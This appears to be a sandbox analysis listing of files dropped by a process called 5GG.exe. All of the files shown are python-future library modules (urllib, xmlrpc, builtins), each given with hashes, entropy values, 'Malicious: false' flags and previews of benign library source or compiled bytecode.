Preview:	o.........el........................@...sp...d.Z.d.d.l.m.Z.m.Z.m.Z...d.d.l.m.Z...G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.[.[.[.[.d.S.).a....Response classes used by urllib...The base class, addbase, defines a minimal file-like interface,.including read() and readline(). The typical response object is an.addinfourl instance, which defines an info() method that returns.headers and a geturl() method that returns the url.......)...absolute_import..division..unicode_literals)...objectc....................@...s@...e.Z.d.Z.d.Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.S.)...addbasez(Base class for addinfo and addclosehook.c....................C...sX...\|.\|._.\|.j.j.\|._.\|.j.j.\|._.t.\|.j.d...r.\|.j.j.\|._.t.\|.j.d...r%\|.j.j.\|._.d.S.d.d...\|._.d.S.).N..readlines..filenoc....................S...s....d.S...N..r....r....r.....c...F:\python\1 .......\Cheat Checker\venv\Lib\site-packages\future/backports/urllib/response.py..<lambda>....s......z"addbase.__init__.<loca

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\future\backports\urllib\pycache\robotparser.cpython-310.pyc

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	data
Category:	dropped
Size (bytes):	6199
Entropy (8bit):	5.213810227789668
Encrypted:	false
SSDEEP:	96:DSn5X/H7HwhclVMFNcSXuDRJ9pWnp+aJXSEHmSmVSnmpQYMLn/M0ksx:DSn5X/bAclKfcSXuDRfOUaFOVSnm6LGC
MD5:	421805B24E8E943CF21FB1D4E06252E6
SHA1:	7171F16028E7DE0CBAFDF5922A5DAFABD570AA38
SHA-256:	283716FADA8F9B76A70852D3A458494BFA0500F2FC9A2CC3156D6817CBC2B8FC
SHA-512:	392DCB716BABE718D15772BD7FBF0CE92BFF4365C950B680F89F50DE5BED8D007BE8BE2AEDB77CF987853B1310428CE9D6DE516799B74EFE7CF968C369A75C9E
Malicious:	false
Preview:	o.........e.........................@...s....d.d.l.m.Z.m.Z.m.Z...d.d.l.m.Z.....d.d.l.m.Z...d.d.l.m.Z.m.Z...e.e._.e.e._.d.g.Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.d.S.)......)...absolute_import..division..unicode_literals....str)...urllib)...parse..request..RobotFileParserc....................@...sZ...e.Z.d.Z.d.Z.d.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.S.).r....zs This class provides a set of methods to read, parse and answer. questions about a single robots.txt file... ..c....................C...s,...g.\|._.d.\|._.d.\|._.d.\|._.\|...\|.....d.\|._.d.S.).NFr....)...entries..default_entry..disallow_all..allow_all..set_url..last_checked....self..url..r.....f...F:\python\1 .......\Cheat Checker\venv\Lib\site-packages\future/backports/urllib/robotparser.py..__init__....s................z.RobotFileParser.__init__c....................C...s....\|.j.S.).z.Returns the time the robots.txt file was last fetched... This is useful for long-r

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\future\backports\urllib\error.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	2715
Entropy (8bit):	4.564039156082065
Encrypted:	false
SSDEEP:	48:ZuQshuDSkJ8GQqW7QRieM4RY/T5X1+9cNzJXf0/2F7ClI8v+Ff7:ZuyDSkJ8BV/T5XycNzJv0/2NpAaf7
MD5:	7405342AE3FFE6A18E1E7B03AE2A3C91
SHA1:	0C230B3EE82D8EEEA5B24F4DEDD936DCC8F39759
SHA-256:	92D8A4B8AF5A838952E1FF19D24E69D45D75A85E343760223AD8DB5E217DEDEC
SHA-512:	F4A4AB87BBB29BC3FE54691FF28C034AF28E4FBE4BFE7C7F1B004470BC76427B3A31CE3AB1ADE25D37B40087CA210236307323AD7DF5153EA4A91B92102D1263
Malicious:	false
Preview:	"""Exception classes raised by urllib...The base exception class is URLError, which inherits from IOError. It.doesn't define any behavior of its own, but is the base class for all.exceptions defined in this package...HTTPError is an exception class that is also a valid HTTP response.instance. It behaves this way because HTTP protocol errors are valid.responses, with a status code, headers, and a body. In some contexts,.an application may want to handle an exception like a regular.response..""".from __future__ import absolute_import, division, unicode_literals.from future import standard_library..from future.backports.urllib import response as urllib_response...__all__ = ['URLError', 'HTTPError', 'ContentTooShortError']...# do these error classes make sense?.# make sure all of the IOError stuff is overridden. we just want to be.# subtypes...class URLError(IOError):. # URLError is a sub-type of IOError, but it doesn't share any of. # the implementation. need to override __init

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\future\backports\urllib\parse.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	35792
Entropy (8bit):	4.61584855300354
Encrypted:	false
SSDEEP:	768:ilzRVPWLt45dnmuRlBvshWf9rKJqvCGCdLGR29XJW7RdLYo8uzs14GENX:illDrRlVx2fW7BA14d
MD5:	791592F298D61B732DF2680E98D80B00
SHA1:	D4F4B67FF2E749A61ECD9977C319A55C49B65FBF
SHA-256:	EBB6AFAD8A95D542BB8BFDB6828454AEF27C49F7F38D17538DAF70CEAFF29D76
SHA-512:	A8AAB000451026C04A40A96D8D73250E7DE5AF35605EB369A7D142A082AE9C4C4D2C153161B99AEF6627EE25A7C99D9930C9E4250E5921691BF22271D63528A3
Malicious:	false
Preview:	""".Ported using Python-Future from the Python 3.3 standard library...Parse (absolute and relative) URLs...urlparse module is based upon the following RFC specifications...RFC 3986 (STD66): "Uniform Resource Identifiers" by T. Berners-Lee, R. Fielding.and L. Masinter, January 2005...RFC 2732 : "Format for Literal IPv6 Addresses in URL's by R.Hinden, B.Carpenter.and L.Masinter, December 1999...RFC 2396: "Uniform Resource Identifiers (URI)": Generic Syntax by T..Berners-Lee, R. Fielding, and L. Masinter, August 1998...RFC 2368: "The mailto URL scheme", by P.Hoffman , L Masinter, J. Zawinski, July 1998...RFC 1808: "Relative Uniform Resource Locators", by R. Fielding, UC Irvine, June.1995...RFC 1738: "Uniform Resource Locators (URL)" by T. Berners-Lee, L. Masinter, M..McCahill, December 1994..RFC 3986 is considered the current standard and any future changes to.urlparse module should conform with it. The urlparse module is.currently not entirely compliant with this RFC due to defacto.sc

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\future\backports\urllib\request.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	96276
Entropy (8bit):	4.414871658609146
Encrypted:	false
SSDEEP:	1536:wZ2vV88SWmMvHjeHLvqUh48hxa1m7Fd5tZbc0ojdsYtzIBfZgbfam2/xBHHWMMUx:wwV88SWmMvHjeHLfh48hDtZbcXjdsYcn
MD5:	D2E61F824A4844C9DFC32D939E5DF428
SHA1:	676175E76EE3B925D7CA3BC6A6E0ABBAABB91A14
SHA-256:	691F593337E15750B6424DF016C1AF930C6AB5D3D376C255191B790D40B0809F
SHA-512:	B6D26164859363727FE95CAE860CE0B7F53F5435006A575287F8FB1EBE020271B43232EF8D5D522265C6A0E8382C0C84460CE52D786947AF47A08D0386067853
Malicious:	false
Preview:	""".Ported using Python-Future from the Python 3.3 standard library...An extensible library for opening URLs using a variety of protocols..The simplest way to use this module is to call the urlopen function,.which accepts a string containing a URL or a Request object (described.below). It opens the URL and returns the results as file-like.object; the returned object has some extra methods described below...The OpenerDirector manages a collection of Handler objects that do.all the actual work. Each Handler implements a particular protocol or.option. The OpenerDirector is a composite object that invokes the.Handlers needed to open the requested URL. For example, the.HTTPHandler performs HTTP GET and POST requests and deals with.non-error returns. The HTTPRedirectHandler automatically deals with.HTTP 301, 302, 303 and 307 redirect errors, and the HTTPDigestAuthHandler.deals with digest authentication...urlopen(url, data=None) -- Basic usage is the same as original.urllib. pass the u

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\future\backports\urllib\response.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	3180
Entropy (8bit):	4.328423031939715
Encrypted:	false
SSDEEP:	96:MBaLqSulXm7rDcVfAzjwLAWVlLgwkGlfgBkCUlk:HsXm7ryfAnwb8aoBUk
MD5:	CC405BEF678143E30FE22AF860161335
SHA1:	D7DF7CEF7586E344C5803E511FD0C5B4E08F88B8
SHA-256:	A28432B30C1B6FEF4DE88562D4AC23B2CD5A47E2AF9BC64D7B3A32544A27A7C7
SHA-512:	9856C5A9F9953CFC15A24233DF5D2EF9CBA8B17E16AEB4D5F4AB79321D36EBBE9FD6511F160ACDD684CC6CFFCBB1D808D647112F88EEF75F445646F89236E33D
Malicious:	false
Preview:	"""Response classes used by urllib...The base class, addbase, defines a minimal file-like interface,.including read() and readline(). The typical response object is an.addinfourl instance, which defines an info() method that returns.headers and a geturl() method that returns the url..""".from __future__ import absolute_import, division, unicode_literals.from future.builtins import object..class addbase(object):. """Base class for addinfo and addclosehook.""".. # XXX Add a method to expose the timeout on the underlying socket?.. def __init__(self, fp):. # TODO(jhylton): Is there a better way to delegate using io?. self.fp = fp. self.read = self.fp.read. self.readline = self.fp.readline. # TODO(jhylton): Make sure an object with readlines() is also iterable. if hasattr(self.fp, "readlines"):. self.readlines = self.fp.readlines. if hasattr(self.fp, "fileno"):. self.fileno = self.fp.fileno. else:.

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\future\backports\urllib\robotparser.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	6865
Entropy (8bit):	4.1805071172706025
Encrypted:	false
SSDEEP:	192:SZUEn5DAl4b9uiaTYjtXYVTGqdfuNtr1Dmhuyf:zmDAl4hutTYjdNhJmUyf
MD5:	FE97BB77C6094CFAC86B1228EFAF4694
SHA1:	80AF7FEE2BA268E18748E292C51F3886F62D1F06
SHA-256:	A670064DB2A175B0AAFFDC8C669EE6F218F9ABF349A72417EA840866E61C9E4C
SHA-512:	9F5500B288A16BD898423A99E39AF00BFFEC31480462395E724254E503FD75A7B587235ACA97EB2FC4228C05595AB2D18087F3C315308004D1B2E8AA519BB09F
Malicious:	false
Preview:	from __future__ import absolute_import, division, unicode_literals.from future.builtins import str.""" robotparser.py.. Copyright (C) 2000 Bastian Kleineidam.. You can choose between two licenses when using this package:. 1) GNU GPLv2. 2) PSF license for Python 2.2.. The robots.txt Exclusion Protocol is implemented as specified in. http://info.webcrawler.com/mak/projects/robots/norobots-rfc.html."""..# Was: import urllib.parse, urllib.request.from future.backports import urllib.from future.backports.urllib import parse as _parse, request as _request.urllib.parse = _parse.urllib.request = _request...__all__ = ["RobotFileParser"]..class RobotFileParser(object):. """ This class provides a set of methods to read, parse and answer. questions about a single robots.txt file... """.. def __init__(self, url=''):. self.entries = []. self.default_entry = None. self.disallow_all = False. self.allow_all = False. self.set_url(url).

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\future\backports\xmlrpc\init.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	38
Entropy (8bit):	4.16846567111059
Encrypted:	false
SSDEEP:	3:SbF8tHyxVWSvn:SbFUHoVjv
MD5:	8050103761D3D3985D56E36A4385803D
SHA1:	B8308251F83B242BD06776AF11050E0E771F75C7
SHA-256:	87AD5C8954DD56FBBCA04517BF87477FF4DCE575170C7DD1281D7EF1F4214AC8
SHA-512:	B9ECC8090E676BBB2C1CB1374D62C1663F4E07BEDC638DE1A8CD1638BC543DB7F26E174E7D89A31AFE8A46282DC8F574E8CE217FA884DDFB2CAB2A48D0557D64
Malicious:	false
Preview:	# This directory is a Python package..

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\future\backports\xmlrpc\pycache\init.cpython-310.pyc

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	data
Category:	dropped
Size (bytes):	195
Entropy (8bit):	4.8741302343467465
Encrypted:	false
SSDEEP:	3:y/npUluleh/wZWRCjR2NKGaESzu5E8AGvOWdVWrzdd5gKduVdqLQRkcTgp:y/eqeh/wcCjkDHSC5EgTdAr3+BrqLQD4
MD5:	C2FB34F271E87331B79F1A52E280F46B
SHA1:	984D96B44B92B7C61484953F58B8A311ABBFE3CA
SHA-256:	2532788599E8329B2FC3B5F89D71C8B86BA41C9AF551608391C763A9CE956593
SHA-512:	5853C8BE7A4A9B0E67E8BFD7A941044F190A15770CD596D5A25AF305F43CB0A4F824F457F76B4E36CF6B962031C7BBF998074829BC0471285730015FFBC95C2F
Malicious:	false
Preview:	o.........e&........................@...s....d.S.).N..r....r....r.....c...F:\python\1 .......\Cheat Checker\venv\Lib\site-packages\future/backports/xmlrpc/__init__.py..<module>....s......

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\future\backports\xmlrpc\pycache\client.cpython-310.pyc

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	data
Category:	dropped
Size (bytes):	33460
Entropy (8bit):	5.274045744262055
Encrypted:	false
SSDEEP:	768:Hzq6FtpG26edNgQQaeUgoWRBq7nl9l96xdL:HzqktpGBed6QgUgRBqTl9SxdL
MD5:	70B7AD283998202485765BC5DD1D71D7
SHA1:	8A51896908C5D776D40708FD0B3EDF3B4EF02B29
SHA-256:	06A60E6A5E99C2C97FCD630675B26394142004268115A329EC875908ABFA6775
SHA-512:	726A5FC33B283E6266F0322D93242017243117D2FACFB6C936B0864D4A8A42161F8CEE658D969BF11C29A3439F3B906A35C1810FADA5ECF6CDB3B8B0E89873B7
Malicious:	false
Preview:	o.........e.........................@...s....d.Z.d.d.l.m.Z.m.Z.m.Z.m.Z...d.d.l.m.Z.m.Z.m.Z.m.Z.m.Z...d.d.l.Z.e.j.e._.e.j.e._.d.d.l.Z.d.d.l.Z.d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.Z.d.d.l.Z.d.d.l m!Z!..z.d.d.l"Z"W.n...e#ym......d.Z"Y.n.w.d.d...Z$e.j%d.d.....Z&d.Z'd.Z(d.Z)d.Zd.Z+d.Z,d.Z-d.Z.d.Z/d.Z0d.Z1d.Z2d.Z3d.Z4G.d.d...d.e5..Z6G.d.d...d.e6..Z7G.d.d...d.e6..Z8G.d d!..d!e6..Z9e:..Z;Z<d"d#..Z=d$d%..Z>G.d&d'..d'e?..Z@d(d)..ZAdd+..ZBG.d,d-..d-e?..ZCd.d/..ZDe@eCf.ZEG.d0d1..d1e?..ZFG.d2d3..d3e?..ZGG.d4d5..d5e?..ZHG.d6d7..d7e?..ZIG.d8d9..d9e?..ZJG.d:d;..d;e?..ZKd...ZL..ZMZNdWd=d>..ZO...<dXd?d@..ZPdWdAdB..ZQdCdD..ZRdEdF..ZSG.dGdH..dHe"..r;e"jTn.e?..ZUG.dIdJ..dJe?..ZVG.dKdL..dLe?..ZWG.dMdN..dNeW..ZXG.dOdP..dPe?..ZYeYZZe[dQk...r.eYdR..Z\z.e]e\j^._......W.n...e6..y...Z`..z.e]dSe`....W.Y.d.Z`[`n.d.Z`[`w.w.eKe\..Zaea.b....ea.cdTdU....ea.ddVdT....z.ea..D.].Zee]ee......q.W.d.S...e6..y...Z`..z.e]dSe`....W.Y.d.Z`[`d.S.d.Z`[`w.w.d.S.)Ya.....Ported using Python-Future from

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\future\backports\xmlrpc\pycache\server.cpython-310.pyc

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	data
Category:	dropped
Size (bytes):	29927
Entropy (8bit):	5.5176631869704575
Encrypted:	false
SSDEEP:	768:ZbCgCW4wrzKbVnrPCy5khQRSWCLSVWXz28CMBbO5:ZbCgCBbVnB5ezXz20bO5
MD5:	7C305A185573BCC1B803152B2EFC3644
SHA1:	38A8FF7998BAEBA06CCC2DC7B7AAAD80A54CD782
SHA-256:	ADAAB6300C2D4A5A41A1184B91715DDBB78F6CE7A4EC97497F298A6A4AE38BC6
SHA-512:	D7B83E61DC7DC771825DDD6CDA21135685B1EB269E91FF297EC4BE6A5A0920EF8EC6E9555F2720103720720CC725198CD104EAE89D65879123764C8BBAA35BAF
Malicious:	false
Preview:	o.........e.........................@...s6...d.Z.d.d.l.m.Z.m.Z.m.Z.m.Z...d.d.l.m.Z.m.Z...d.d.l.m.Z.m.Z.m.Z.m.Z.m.Z...d.d.l.m.Z...d.d.l.m.....m.....m.Z...d.d.l.m.Z...d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.z.d.d.l.Z.W.n...e.ye......d.Z.Y.n.w.d,d.d...Z.d.d...Z G.d.d...d.e!..Z"G.d.d...d.e...Z#G.d.d...d.e.j$e"..Z%G.d.d...d.e%..Z&G.d.d...d.e"..Z'G.d.d...d.e.j(..Z)G.d.d...d.e!..ZG.d.d...d.e#..Z+G.d.d...d.e%e..Z,G.d.d ..d e'e..Z-e.d!k...r.d.d.l/Z/G.d"d#..d#..Z0e%d$..Z.e..1e2....e..1d%d&..d'....e.j3e0..d.d(....e..4....e5d)....e5d....z.e..6....W.d.S...e7..y.......e5d+....e..8....e..9d.....Y.d.S.w.d.S.)-aK....Ported using Python-Future from the Python 3.3 standard library...XML-RPC Servers...This module can be used to create simple XML-RPC servers.by creating a server and either installing functions, a.class instance, or by extending the SimpleXMLRPCServer.class...It can also be used to handle XML-RPC requests in a CGI.environment using CGIXMLRPCRequestHandler...The Doc* classes can

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\future\backports\xmlrpc\client.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	48133
Entropy (8bit):	4.749411120471627
Encrypted:	false
SSDEEP:	768:hawxzXDtRJnNKLLP0Y7HLly6MvefFJbPVzodus7F7TE4n7c+T8hz/m0gAMssmtND:o6NRJnNKLT0Yo6NbPQFnhTT8hz/m0gx8
MD5:	35F92680E85F3F781C5441A6109DF2D4
SHA1:	27C0A310C26FC6AF31DAF376B1245D7DD3A42F27
SHA-256:	E9AE8FBF1FD1542F602070E414E55D44478669972438E89677B4FA1B2CD4DEA5
SHA-512:	32FAB0DB406466E9A4198291890A61FF3BDE5ACB1C72A8C54BDDFA87940A25400FBB7CBC9D290A5DF1ACC03D806B48BE5E329D700689EF314D24AE62FE566F31
Malicious:	false
Preview:	#.# XML-RPC CLIENT LIBRARY.# $Id$.#.# an XML-RPC client interface for Python..#.# the marshalling and response parser code can also be used to.# implement XML-RPC servers..#.# Notes:.# this version is designed to work with Python 2.1 or newer..#.# History:.# 1999-01-14 fl Created.# 1999-01-15 fl Changed dateTime to use localtime.# 1999-01-16 fl Added Binary/base64 element, default to RPC2 service.# 1999-01-19 fl Fixed array data element (from Skip Montanaro).# 1999-01-21 fl Fixed dateTime constructor, etc..# 1999-02-02 fl Added fault handling, handle empty sequences, etc..# 1999-02-10 fl Fixed problem with empty responses (from Skip Montanaro).# 1999-06-20 fl Speed improvements, pluggable parsers/transports (0.9.8).# 2000-11-28 fl Changed boolean to check the truth value of its argument.# 2001-02-24 fl Added encoding/Unicode/SafeTransport patches.# 2001-02-26 fl Added compare support to wrappers (0.9.9/1.0b1).# 2001-03-28 fl Make sure response tuple is a singleton.# 2001-03

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\future\backports\xmlrpc\server.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	37285
Entropy (8bit):	4.488963746278653
Encrypted:	false
SSDEEP:	768:IgCW45Pdrzz5iSPRcYDhByVCID0LlY2X2dAaWiDXq:IgCX39iHQIW7
MD5:	6CF0013EB38EC1F6A2B69F6A1F67E93E
SHA1:	15EEDF86AF471402856C96322C1D482813136E9B
SHA-256:	5BF456E618186CD5762C66E7BE78339BB6A469C45D2BE5C563E0B2D872FEAAC6
SHA-512:	4DC34296BB1829C03C56BF6D5F78BDDD7D28100342F7C28C693D300361D13D9CD0609B0FCCADF4339591F302B565347DD15E14B06205BCCC0D7B6D9E24536E12
Malicious:	false
Preview:	r""".Ported using Python-Future from the Python 3.3 standard library...XML-RPC Servers...This module can be used to create simple XML-RPC servers.by creating a server and either installing functions, a.class instance, or by extending the SimpleXMLRPCServer.class...It can also be used to handle XML-RPC requests in a CGI.environment using CGIXMLRPCRequestHandler...The Doc* classes can be used to create XML-RPC servers that.serve pydoc-style documentation in response to HTTP.GET requests. This documentation is dynamically generated.based on the functions and methods registered with the.server...A list of possible usage patterns follows:..1. Install functions:..server = SimpleXMLRPCServer(("localhost", 8000)).server.register_function(pow).server.register_function(lambda x,y: x+y, 'add').server.serve_forever()..2. Install an instance:..class MyFuncs:. def __init__(self):. # make all of the sys functions available through sys.func_name. import sys. self.sys = sys.

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\future\builtins\init.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	1687
Entropy (8bit):	4.325825373219679
Encrypted:	false
SSDEEP:	48:Ca3QP8SZ/h5ZpI+gfBfLy2weM16LLNDDWW7:Ca3QP8k9yT/ZR7
MD5:	3F6B2DF83554BDFEB23AFB1DE3F88053
SHA1:	C10833A1653350E9E68B6ABF2F004ABA7728F207
SHA-256:	8D274EB9C59F0AC7E47D347C25DE3E2ECF98429274027CD4A26071830BA8C4DB
SHA-512:	6068F3DA58507B7930B9020D73C747FC1168818EE873BC96BB6164D6FABFA3477845A7883527907F181356F4547BC882425D28DA57D356FFFEF4810FC7CB541E
Malicious:	false
Preview:	""".A module that brings in equivalents of the new and modified Python 3.builtins into Py2. Has no effect on Py3...See the docs `here <http://python-future.org/what-else.html>`_.(``docs/what-else.rst``) for more information..."""..from future.builtins.iterators import (filter, map, zip).# The isinstance import is no longer needed. We provide it only for.# backward-compatibility with future v0.8.2. It will be removed in future v1.0..from future.builtins.misc import (ascii, chr, hex, input, isinstance, next,. oct, open, pow, round, super, max, min).from future.utils import PY3..if PY3:. import builtins. bytes = builtins.bytes. dict = builtins.dict. int = builtins.int. list = builtins.list. object = builtins.object. range = builtins.range. str = builtins.str. __all__ = [].else:. from future.types import (newbytes as bytes,. newdict as dict,. newint as int,.

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\future\builtins\pycache\init.cpython-310.pyc

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	data
Category:	dropped
Size (bytes):	1257
Entropy (8bit):	5.4971870046124796
Encrypted:	false
SSDEEP:	24:1pdp7lMVWfPJIaoCLVijY+J9pGWPlOBz1qMmoPvb89dQcG4Kr2ET7t:1pdp7i+Oa3QjY+ZGWtWyonQ9vGp
MD5:	F1DB15478194FB6D7809A13CDDFA1FFE
SHA1:	06CD785A9C08A0D482193EFC7D04DB9F1FA13A1B
SHA-256:	8766894EB8356EBBE4E242E6AF9430DBE9DF4C9C90A977B185F9F481A28D98C2
SHA-512:	2C0D92EBE2233F595C9CF40039AFF7125952C6E222E400F5518CC68D021C68CB77D67B0FE3C8C2E4BD079289129E588E5BFD9EDA8ED9B50D1B599595B235A6FF
Malicious:	false
Preview:	o.........e.........................@...s....d.Z.d.d.l.m.Z.m.Z.m.Z...d.d.l.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z...d.d.l.m.Z...e.rNd.d.l.Z.e.j.Z.e.j.Z.e.j.Z.e.j.Z.e.j.Z.e.j.Z.e.j.Z.g.Z.n.d.d.l.m.Z.m Z.m!Z.m"Z.m#Z.m$Z.m%Z...d.d.l&m'Z'..e'j.sog.d...Z.d.S.g.Z.d.S.).z..A module that brings in equivalents of the new and modified Python 3.builtins into Py2. Has no effect on Py3...See the docs `here <http://python-future.org/what-else.html>`_.(``docs/what-else.rst``) for more information........)...filter..map..zip)...ascii..chr..hex..input..isinstance..next..oct..open..pow..round..super..max..min)...PY3N)...newbytes..newdict..newint..newlist..newobject..newrange..newstr)...utils).r....r....r....r....r....r....r....r....r....r....r....r....r......bytes..dict..int..list..object..range..strr....r....)(..__doc__Z.future.builtins.iteratorsr....r....r....Z.future.builtins.miscr....r....r....r....r....r....r....r....r....r....r....r....r....Z.future.utilsr......builtinsr....r....r...

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\future\builtins\pycache\disabled.cpython-310.pyc

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	data
Category:	dropped
Size (bytes):	2348
Entropy (8bit):	5.293537151847772
Encrypted:	false
SSDEEP:	48:ZMt4pV3V12kH40ToC5BUXKt3JzrpXgyJhhqzNF9UFN9QDG9ITv4oJHCLMmXHjot5:x5C50sC5e63rptvhqxDUyk4QoJHcMmzS
MD5:	3AB10E446DDCA9935CCBB1FDD99928A0
SHA1:	8A7975E0E0A1A57751FD80DC4FA5D9220BCEB399
SHA-256:	BD59341CFF8E6C67BAD7063F9B928CAC594F1EEB87B9669FE52F03CB7DF8E785
SHA-512:	01C3CE489C938830182322F3DBB6092872B009868CF12C847519DEA390DEAC3331A7844E23DD5B743F1D4B776B9573DC305BDB76079A6F6C06C34F7076D2ACCC
Malicious:	false
Preview:	o.........e=........................@...sb...d.Z.d.d.l.m.Z.m.Z.m.Z...d.d.l.m.Z...g.d...Z.d.d...Z.e.j.s-e.D.].Z.e.e...e...e.<.q.e.Z.d.S.g.Z.d.S.).a.....This disables builtin functions (and one exception class) which are.removed from Python 3.3...This module is designed to be used like this::.. from future.builtins.disabled import *..This disables the following obsolete Py2 builtin functions::.. apply, cmp, coerce, execfile, file, input, long,. raw_input, reduce, reload, unicode, xrange..We don't hack __builtin__, which is very fragile because it contaminates.imported modules too. Instead, we just create new functions with.the same names as the obsolete builtins from Python 2 which raise.NameError exceptions when called...Note that both ``input()`` and ``raw_input()`` are among the disabled.functions (in this module). Although ``input()`` exists as a builtin in.Python 3, the Python 2 ``input()`` builtin is unsafe to use because it.can lead to shell injection. Therefore we shado

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\future\builtins\pycache\iterators.cpython-310.pyc

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	data
Category:	dropped
Size (bytes):	1530
Entropy (8bit):	5.369669738814553
Encrypted:	false
SSDEEP:	24:+bgyyUKjqPgE+MPg92q3h/qDC6pS2XrXgBHIPSMOyNRmXHcCU8BYwMFoSEMmFFN3:+bCUKuPg19jYZpNXqHIKYRmXHc9Q/MF0
MD5:	07951FC35AD0DB9404EE1D79D839EF65
SHA1:	841A27EF565174FAA010B6A33AA1FA5D1DE46673
SHA-256:	06E482C08A2A4B8B5827028A2D624279D4512B2F2C3FC538A89594A39B9FC6E7
SHA-512:	B3109B3BF89E3FBF632BE5E9AFB53F350382D5998A0819943F5532C4C45CDB570F06C80DB51814D00A4706BCD2E7591252E01794B3118CCB420352D7C8C0B6C4
Malicious:	false
Preview:	o.........et........................@...s....d.Z.d.d.l.m.Z.m.Z.m.Z...d.d.l.Z.d.d.l.m.Z...e.j.s.e.j.Z.e.j.Z.d.d.l.m.Z...e.j.Z.g.d...Z.d.S.d.d.l.Z.e.j.Z.e.j.Z.e.j.Z.e.j.Z.g.Z.d.S.).a.....This module is designed to be used as follows::.. from future.builtins.iterators import ..And then, for example::.. for i in range(1015):. pass.. for (a, b) in zip(range(1015), range(-1015, 0)):. pass..Note that this is standard Python 3 code, plus some imports that do.nothing on Python 3...The iterators this brings in are::..- ``range``.- ``filter``.- ``map``.- ``zip``..On Python 2, ``range`` is a pure-Python backport of Python 3's ``range``.iterator with slicing support. The other iterators (``filter``, ``map``,.``zip``) are from the ``itertools`` module on Python 2. On Python 3 these.are available in the module namespace but not exported for imports via.__all__ (zero no namespace pollution)...Note that these are also available in the standard library.``future_builtins`

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\future\builtins\pycache\misc.cpython-310.pyc

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	data
Category:	dropped
Size (bytes):	3070
Entropy (8bit):	5.594085046720874
Encrypted:	false
SSDEEP:	48:WCeCp/RvlgOOGeGhGrctbkIMJOABQXpXzbNXwxKP9U5rOxvQRESefrgD6utzD8+L:heCp/RvlgOOGeGhGrc2Js5jpEAiCTKZb
MD5:	E3FF94810709762A89246FDBF8F2A278
SHA1:	7CCEA100A665BB729881133F4017E21AFE79509A
SHA-256:	AC4B510DC92B6AB6465C5A4EED44704AFA990231D30CDF5C2BE1994AFE767A60
SHA-512:	2267846960E509E19131FD8878909ED8CA4796ED3E37743A5BBEA31C17DE843DF4889F9E37ABA43DA5982E678AE936B37D0B1BB552EECD5333C6981FD097E4E7
Malicious:	false
